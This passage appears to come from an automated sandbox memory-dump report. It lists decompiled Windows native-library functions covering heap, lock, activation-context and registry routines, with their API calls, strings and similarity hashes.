0x6c03d85b
0x6c03d85b
0x6c03d85d
0x6c03d866
0x00000000
0x6c03d86c
0x6c03d86c
0x00000000
0x6c03d86c
0x6c03d866

APIs

RtlImageNtHeader.1105(?,00000000,?,02BE0000), ref: 6C03D807

Part of subcall function 6C01B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6C03381C,?,6C0DFF48,00000050,6C033E98,?,6C02F900,00000000,00000000), ref: 6C01B076

Part of subcall function 6C0165BA: RtlInitUnicodeStringEx.1105(?,?,?), ref: 6C0165CA

RtlFreeHeap.1105(?,00000000,?,?,6C03D77E,00000000,?,?,00000000,?,02BE0000), ref: 6C03D8B6
ZwCreateSection.1105(00000000,000F0005,00000000,00000000,02BE0000,08000000,00000000,6C03D77E,00000000,?,?,00000000,?,02BE0000), ref: 6C03D8D7
ZwMapViewOfSection.1105(00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000,08000000), ref: 6C03D8FF
ZwClose.1105(00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000), ref: 6C03D90F
RtlImageNtHeader.1105(00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000), ref: 6C03D91E
ZwClose.1105(00000000,?,6C03D77E,00000000,?,?,00000000,?,02BE0000), ref: 6C07B1C9
RtlFreeHeap.1105(?,00000000,?,00000000,?,6C03D77E,00000000,?,?,00000000,?,02BE0000), ref: 6C07B1DB

Part of subcall function 6C03D976: ZwCreateFile.1105(00000000,80100080,00000018,?,00000000,00000000,00000005,00000001,00000000,00000000,00000000,?,02BE0000,00000000,00000000), ref: 6C03D999

ZwClose.1105(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000), ref: 6C07B1F9
ZwUnmapViewOfSection.1105(000000FF,00000000,6C03D77E,00000000,?,?,00000000,?,02BE0000), ref: 6C07B218

Strings

@, xrefs: 6C03D883

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHeaderImageSection$CreateFreeHeapView$FileInitStringUnicodeUnmap
String ID: @
API String ID: 3014096824-2766056989
Opcode ID: f9e51fa7ed1cb36f85b7a86adbf40520465290fbffd2fdb35cf32ec65272afcf
Instruction ID: 3e333faa2ab138f4446f68f08eb7ab143ef77ab2a7220a285bc65b5d1170ce33
Opcode Fuzzy Hash: f9e51fa7ed1cb36f85b7a86adbf40520465290fbffd2fdb35cf32ec65272afcf
Instruction Fuzzy Hash: 79618171D0121AEFDB11CFA9C840BDEBBF5FF85714F20416AE824A7650D775AA01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6C00395E, Relevance: 19.7, APIs: 13, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6C00395E(void* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t67;
				void* _t77;
				intOrPtr* _t81;
				signed int _t93;
				void* _t94;
				intOrPtr* _t97;
				intOrPtr* _t104;
				void* _t112;
				long _t113;
				signed int _t114;
				void* _t123;

				_v8 =  *0x6c0fd360 ^ _t114;
				_v16 = __edx;
				_t93 = 0;
				_t112 = __ecx;
				_v12 = _v12 & 0;
				E6C02FAD0( *0x6c0f84cc + 4);
				_t110 =  *0x6c0f84cc + 8;
				_t97 =  *_t110;
				while(_t97 != _t110) {
					_t113 = _t97 - 0x1c;
					_t67 =  *((intOrPtr*)(_t112 + 0xc));
					if( *((intOrPtr*)(_t113 + 0x10)) !=  *((intOrPtr*)(_t112 + 8)) ||  *((intOrPtr*)(_t113 + 0x14)) != _t67 ||  *((intOrPtr*)(_t113 + 8)) !=  *_t112) {
						L21:
						_t97 =  *_t97;
						continue;
					} else {
						_t69 =  *((intOrPtr*)(_t113 + 0xc));
						if( *((intOrPtr*)(_t113 + 0xc)) !=  *((intOrPtr*)(_t112 + 4))) {
							goto L21;
						}
						_t94 = _t113 + 0x28;
						E6C022280(_t69, _t94);
						if( *(_t113 + 0x5c) == 2) {
							__eflags = _v16;
							if(_v16 == 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t113 + 0x58));
								 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
								 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & 0x00000000;
								L8:
								asm("lock inc dword [esi+0x50]");
								 *(_t113 + 0x5c) = 1;
								E6C01FFB0(_t94, _t112, _t94);
								_t123 =  *0x6c0f84cc + 4;
								E6C02FA00(_t94, _t97, _t112,  *0x6c0f84cc + 4);
								while(1) {
									_t95 = 0;
									_t77 = E6C003ACA(0, _t112, _t113, _t112, _t113, _t123, 0);
									_t124 = _t77 - 0xc000022d;
									if(_t77 == 0xc000022d) {
										_t95 = 0xc000022d;
									}
									_t110 = _t113;
									if(E6C003ACA(_t95, _t112, _t113, _t112, _t113, _t124, 1) == 0xc000022d) {
										_t93 = 0xc000022d;
									}
									E6C022280(_t113 + 0x28, _t113 + 0x28);
									_v12 = _v12 + 1;
									_t104 = _t113 + 0x2c;
									_t81 =  *_t104;
									while(_t81 != _t104) {
										 *(_t81 + 0x60) =  *(_t81 + 0x60) & 0x00000000;
										_t81 =  *_t81;
									}
									if( *(_t113 + 0x58) != 0) {
										_t112 =  *(_t113 + 0x58);
										 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
										E6C01FFB0(_t93, _t112, _t113 + 0x28);
										continue;
									}
									if(_t93 != 0) {
										__eflags = _t93 - 0xc000022d;
										if(_t93 == 0xc000022d) {
											 *(_t113 + 0x58) = _t112;
											 *(_t113 + 0x5c) = 2;
											E6C092DA1(_t113);
										}
										L17:
										E6C01FFB0(_t93, _t112, _t113 + 0x28);
										E6C03DE9E(_t113);
										L18:
										if(_v12 > 1) {
											_t113 = 0;
											_t49 = _t112 + 8; // 0x8
											_push(0);
											_push(0);
											_push(_t93);
											_push( *((intOrPtr*)(_t112 + 0x18)));
											_push(_t112);
											E6C04A3A0();
											__eflags = _t93;
											if(_t93 == 0) {
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t112);
											}
											_t93 = 0x80;
										}
										return E6C04B640(_t93, _t93, _v8 ^ _t114, _t110, _t112, _t113);
									}
									 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & _t93;
									if( *((intOrPtr*)(_t113 + 0x18)) != _t93) {
										__eflags =  *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18));
										if( *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18)) > 0) {
											goto L16;
										}
										goto L17;
									}
									L16:
									 *((intOrPtr*)(_t113 + 0x18)) =  *((intOrPtr*)(_t112 + 0x10));
									goto L17;
								}
							}
							_push(_t94);
							L27:
							E6C01FFB0(_t94, _t112);
							_t93 = 0x80;
							break;
						}
						if( *(_t113 + 0x5c) == 1) {
							__eflags = _v16;
							_push(_t94);
							if(_v16 != 0) {
								goto L27;
							}
							 *(_t113 + 0x58) = _t112;
							E6C01FFB0(_t94, _t112);
							_t93 = 0x103;
							break;
						}
						goto L8;
					}
				}
				E6C02FA00(_t93, _t97, _t112,  *0x6c0f84cc + 4);
				goto L18;
			}

0x6c00396d
0x6c00397b
0x6c00397e
0x6c003980
0x6c003982
0x6c003986
0x6c003991
0x6c003994
0x6c003996
0x6c0039a1
0x6c0039a7
0x6c0039aa
0x6c003aa7
0x6c003aa7
0x00000000
0x6c0039c4
0x6c0039c4
0x6c0039ca
0x00000000
0x00000000
0x6c0039d0
0x6c0039d4
0x6c0039dd
0x6c05fffc
0x6c060000
0x6c060020
0x6c060025
0x6c060029
0x6c0039ed
0x6c0039ed
0x6c0039f2
0x6c0039f9
0x6c003a03
0x6c003a07
0x6c003a0c
0x6c003a0c
0x6c003a13
0x6c003a1d
0x6c003a1f
0x6c06004b
0x6c06004b
0x6c003a27
0x6c003a37
0x6c060052
0x6c060052
0x6c003a41
0x6c003a46
0x6c003a49
0x6c003a4c
0x6c003a4e
0x6c003a9f
0x6c003aa3
0x6c003aa3
0x6c003a56
0x6c060059
0x6c06005f
0x6c060064
0x00000000
0x6c060064
0x6c003a5e
0x6c060073
0x6c060075
0x6c06007d
0x6c060080
0x6c060087
0x6c060087
0x6c003a72
0x6c003a76
0x6c003a7d
0x6c003a82
0x6c003a86
0x6c060091
0x6c060093
0x6c060096
0x6c060097
0x6c060098
0x6c060099
0x6c06009c
0x6c06009e
0x6c0600a3
0x6c0600a5
0x6c0600b2
0x6c0600b2
0x6c0600b7
0x6c0600b7
0x6c003a9e
0x6c003a9e
0x6c003a64
0x6c003a6a
0x6c003ac4
0x6c003ac6
0x00000000
0x00000000
0x00000000
0x6c003ac8
0x6c003a6c
0x6c003a6f
0x00000000
0x6c003a6f
0x6c003a0c
0x6c060002
0x6c060003
0x6c060003
0x6c060008
0x00000000
0x6c060008
0x6c0039e7
0x6c060032
0x6c060036
0x6c060037
0x00000000
0x00000000
0x6c060039
0x6c06003c
0x6c060041
0x00000000
0x6c060041
0x00000000
0x6c0039e7
0x6c0039aa
0x6c003ab7
0x00000000

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000000), ref: 6C003986
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000), ref: 6C0039D4
RtlReleaseSRWLockExclusive.1105(?), ref: 6C0039F9
RtlReleaseSRWLockShared.1105(?,?), ref: 6C003A07
RtlAcquireSRWLockExclusive.1105(?,00000001,00000000,?,?), ref: 6C003A41
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000001,00000000,?,?), ref: 6C003A76
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000000), ref: 6C003AB7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 9c2c8551fc61ee0ef3bde44a074a79e2dd52312b23929cc973fabf552bf0b563
Instruction ID: c8a20ee38a67be9113bd35b4b5e5b17e07b7acd0182c38bc64a6975430714290
Opcode Fuzzy Hash: 9c2c8551fc61ee0ef3bde44a074a79e2dd52312b23929cc973fabf552bf0b563
Instruction Fuzzy Hash: 9C5168717047459BE721CF9AC885F9AB3F8AB4A31DF11492DD04687E11CB78F888CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6C02A830, Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 350COMMON

Download Yara Rule

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000018,?,?,?,?,?,?,?,?,?,6C02A3D0,?,?,-00000018), ref: 6C0722DC
DbgPrint.1105(((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)),?,?,?,?,?,?,?,?,6C02A3D0,?,?,-00000018,?), ref: 6C0722F8

Strings

((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 6C0722F3
ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 6C072403
HEAP: , xrefs: 6C0722E6, 6C0723F6
HEAP[%wZ]: , xrefs: 6C0722D7, 6C0723E7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 3558298466-1657114761
Opcode ID: 2ea97624b77543f19d50ae5e24444cc5856c021fce8031b31dfc447b9c13e996
Instruction ID: 7b1a46dbf7373cefdef00b49a6bbb90f2581faac1205bdfab46bd30a2c545a4f
Opcode Fuzzy Hash: 2ea97624b77543f19d50ae5e24444cc5856c021fce8031b31dfc447b9c13e996
Instruction Fuzzy Hash: E1D10330A04645DFDB18CF69C490BAEB7F1FF49304F258169D8599BB42EB38E846CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6C03C707, Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 251memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?,?,?,00000002), ref: 6C03C8BF
memcpy.1105(00000000,?,0000022C,E850CF8B,?,?,00000002), ref: 6C03C981
DbgPrintEx.1105(00000033,00000000,SXS: %s() passed the empty activation context,RtlpGetActivationContextDataStorageMapAndRosterHeader,?,?,00000002), ref: 6C07A7EF

Strings

SXS: %s() passed the empty activation context, xrefs: 6C07A7E6
.Local, xrefs: 6C03C9A4
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 6C07A8BE
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 6C07A7E1, 6C07A8B9

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapPrintmemcpy
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 3847278171-1239276146
Opcode ID: 9f0b5dc7e34e105811253c9faf6f76d6fafbb5a29ab5e806798cfc8e89d7b3c6
Instruction ID: 0d8d4787176bfd44942439b4f34a98b6dfc29c6952cd28d1d757df30148cd5c7
Opcode Fuzzy Hash: 9f0b5dc7e34e105811253c9faf6f76d6fafbb5a29ab5e806798cfc8e89d7b3c6
Instruction Fuzzy Hash: 1EA1A03194123ADBDB24DF59D884B99B3F4AF18318F2552EAD818A7750D7309F82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6C040F48, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 188nativeCOMMON

Download Yara Rule

APIs

ZwOpenKey.1105(?,?,00000018), ref: 6C041015
ZwClose.1105(?,?,?,00000018), ref: 6C041078
ZwClose.1105(?,?,?,?,?,00000018), ref: 6C041084

Strings

FilterFullPath, xrefs: 6C07CCF4
UseFilter, xrefs: 6C07CD29

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$Open
String ID: FilterFullPath$UseFilter
API String ID: 2976201327-4106802152
Opcode ID: 6b8f0e81158f7b1e3a08adbb4e0363e5449a3648164e52876dea52e12028ef63
Instruction ID: 23afcece93995d49d71793cca2ddb53fe71017c164c4cc9068f2ea0fdf0c9906
Opcode Fuzzy Hash: 6b8f0e81158f7b1e3a08adbb4e0363e5449a3648164e52876dea52e12028ef63
Instruction Fuzzy Hash: CE61F371508351DBD310CF29C540B6FBBE8AF89718F048A3DF884A7A50E771E908CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B64FB, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 125nativeCOMMON

Download Yara Rule

APIs

ZwOpenKey.1105(?,00000001,?,00000124,00000000,00000000), ref: 6C0B6598

Part of subcall function 6C049600: LdrInitializeThunk.NTDLL(6C041119,?,?,00000018,?), ref: 6C04960A

ZwQueryValueKey.1105(?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6C0B65BA
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6C0B65EC
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124), ref: 6C0B6602
ZwClose.1105(00000000,?,00000001,?,00000124,00000000,00000000), ref: 6C0B663B

Strings

ServerNt, xrefs: 6C0B6574
WinNt, xrefs: 6C0B657B
\Registry\Machine\System\CurrentControlSet\Control\ProductOptions, xrefs: 6C0B655B
LanmanNt, xrefs: 6C0B656D
ProductType, xrefs: 6C0B6566

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$CloseInitializeOpenQueryThunkValue
String ID: LanmanNt$ProductType$ServerNt$WinNt$\Registry\Machine\System\CurrentControlSet\Control\ProductOptions
API String ID: 1342846649-2051245877
Opcode ID: 9ff3146740faad0eb2259a2ff41ad3d1c86f8d6274dc05b7accae87e381e28d1
Instruction ID: 5c52fbb2522d18f6b6f73561fe21416788468793d2f357ad3cf798f0da65a40b
Opcode Fuzzy Hash: 9ff3146740faad0eb2259a2ff41ad3d1c86f8d6274dc05b7accae87e381e28d1
Instruction Fuzzy Hash: CE4116B2D4120DEADB14CFE4E991BDEB7BCEF08304F20412AE514BB250E7769909CB59

Uniqueness

Uniqueness Score: -1.00%

Function 6C022D50, Relevance: 17.9, APIs: 4, Strings: 6, Instructions: 397COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.,RtlpFindActivationContextSection_CheckParameters,C000000D), ref: 6C06D72D

Strings

RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 6C06D809
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 6C06D724
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 6C06D758
RtlpFindActivationContextSection_CheckParameters, xrefs: 6C06D71F, 6C06D753
SsHd, xrefs: 6C022EF4
Actx , xrefs: 6C06D76A, 6C06D7D1

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 3558298466-1988757188
Opcode ID: 0278f2e190aaecf95b1498ce0f92fae58ee30187a5459edeb79a8a79367aa7d9
Instruction ID: b7aa69a0685739fc06fcbfa6c1544a5a9fb60f1b9f0db2f8be87c334b580cb25
Opcode Fuzzy Hash: 0278f2e190aaecf95b1498ce0f92fae58ee30187a5459edeb79a8a79367aa7d9
Instruction Fuzzy Hash: 3FE132706083028FD710CF29C894B5BB7F5AF89728F60062DF965CBA90E739D944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C03C63D, Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 111COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() passed the empty activation context,RtlGetAssemblyStorageRoot,?,00000000,?,00000002,?,00000040,?,00000000,?), ref: 6C07A775

Strings

SXS: %s() passed the empty activation context, xrefs: 6C07A76D
RtlGetAssemblyStorageRoot, xrefs: 6C07A768, 6C07A7A2, 6C07A7C2
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 6C07A780
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 6C07A788
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 6C07A7A7
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 6C07A7C7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 3558298466-861424205
Opcode ID: 5dbb5ae4eedc8fe7da4efdc5c4d61ce89adecc3e302c574f768d73f8bab43c39
Instruction ID: 2ef715206a7b0c120d588d7a4609a725d7ab0c1d25307e276e89ac00bfb4593e
Opcode Fuzzy Hash: 5dbb5ae4eedc8fe7da4efdc5c4d61ce89adecc3e302c574f768d73f8bab43c39
Instruction Fuzzy Hash: 67312472A01131BBE720AA9A9C84F9EB6FD9F51758F101259F908B7A10C325AF00C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0DF019, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 105memorynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\,02000000,?,00000000), ref: 6C0DF03B

Part of subcall function 6C0DF13B: ZwOpenKey.1105(?,02000000,?,?,02000000,00000000), ref: 6C0DF182
Part of subcall function 6C0DF13B: ZwCreateKey.1105(?,02000000,00000018,00000000,00000000,00000000,6C0DF056), ref: 6C0DF19F

RtlInitUnicodeString.1105(?,RedirectedKey,?,?,00000000), ref: 6C0DF07B
ZwQueryValueKey.1105(?,?,00000002,00000000,00000000,?), ref: 6C0DF08F
RtlAllocateHeap.1105(?,00000008,?), ref: 6C0DF0BE
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?), ref: 6C0DF0D9
RtlInitUnicodeString.1105(?,0000000C), ref: 6C0DF0F1
ZwClose.1105(?,?,?,00000002), ref: 6C0DF114
RtlFreeHeap.1105(?,00000000,00000000), ref: 6C0DF12B

Strings

RedirectedKey, xrefs: 6C0DF06A
\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 6C0DF02B

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$HeapQueryValue$AllocateCloseCreateFreeOpen
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 1683559675-1388552009
Opcode ID: fa5cb8ab9e8f142815ff4aaa7c7d067ef7233bc943886b071638c31d0471aa19
Instruction ID: 74d1eba8841a9ab8c3c91b7c4ecac6b211e3e48d743b8ecc5d79ed958a689c1c
Opcode Fuzzy Hash: fa5cb8ab9e8f142815ff4aaa7c7d067ef7233bc943886b071638c31d0471aa19
Instruction Fuzzy Hash: D231FD75A01209BFDB11CF95C984FEEBBFCEB08719F118065E605E3610DB35AA09CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6C0A5100, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 85nativethreadCOMMON

Download Yara Rule

APIs

RtlCaptureContext.1105(?,00000000,00000000,?), ref: 6C0A5128
DbgPrintEx.1105(00000065,00000000,*** Assertion failed: %s%s*** Source File: %s, line %ld,6C06D3E5,000001B2,?,?,?,00000000,00000000,?), ref: 6C0A5147
DbgPrompt.1105(Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6C0A516A
ZwTerminateThread.1105(000000FE,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6C0A51A6
DbgPrintEx.1105(00000065,00000000,Execute '.cxr %p' to dump context,?,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6C0A51BD
ZwTerminateProcess.1105(000000FF,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6C0A51E6

Strings

O, xrefs: 6C0A51CF
Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? , xrefs: 6C0A5165
*** Assertion failed: %s%s*** Source File: %s, line %ld, xrefs: 6C0A513E
Execute '.cxr %p' to dump context, xrefs: 6C0A51B4

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintTerminate$CaptureContextProcessPromptThread
String ID: *** Assertion failed: %s%s*** Source File: %s, line %ld$Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? $Execute '.cxr %p' to dump context$O
API String ID: 3567286327-2386179708
Opcode ID: 63b6185c8ea8720238794b5c4c69c90393bd800cba199bb00647b7e1a17a6267
Instruction ID: abd6eaebcfd9cbdca8c8da4d1cd8ee48dbb7f92368577409e055300179f8c59f
Opcode Fuzzy Hash: 63b6185c8ea8720238794b5c4c69c90393bd800cba199bb00647b7e1a17a6267
Instruction Fuzzy Hash: 44216A3A5015497AEB108AE58C44FFE36ECAB01B58F204662FE20B7D92D621AF078661

Uniqueness

Uniqueness Score: -1.00%

Function 6C0040E1, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,6C0C38D6), ref: 6C060444
DbgPrint.1105(Invalid heap signature for heap at %p,?,?,?,?,?,?,?,6C0C38D6), ref: 6C06045D
DbgPrint.1105(, passed to %s,RtlGetUserInfoHeap,?,?,?,?,?,?,6C0C38D6), ref: 6C06046E
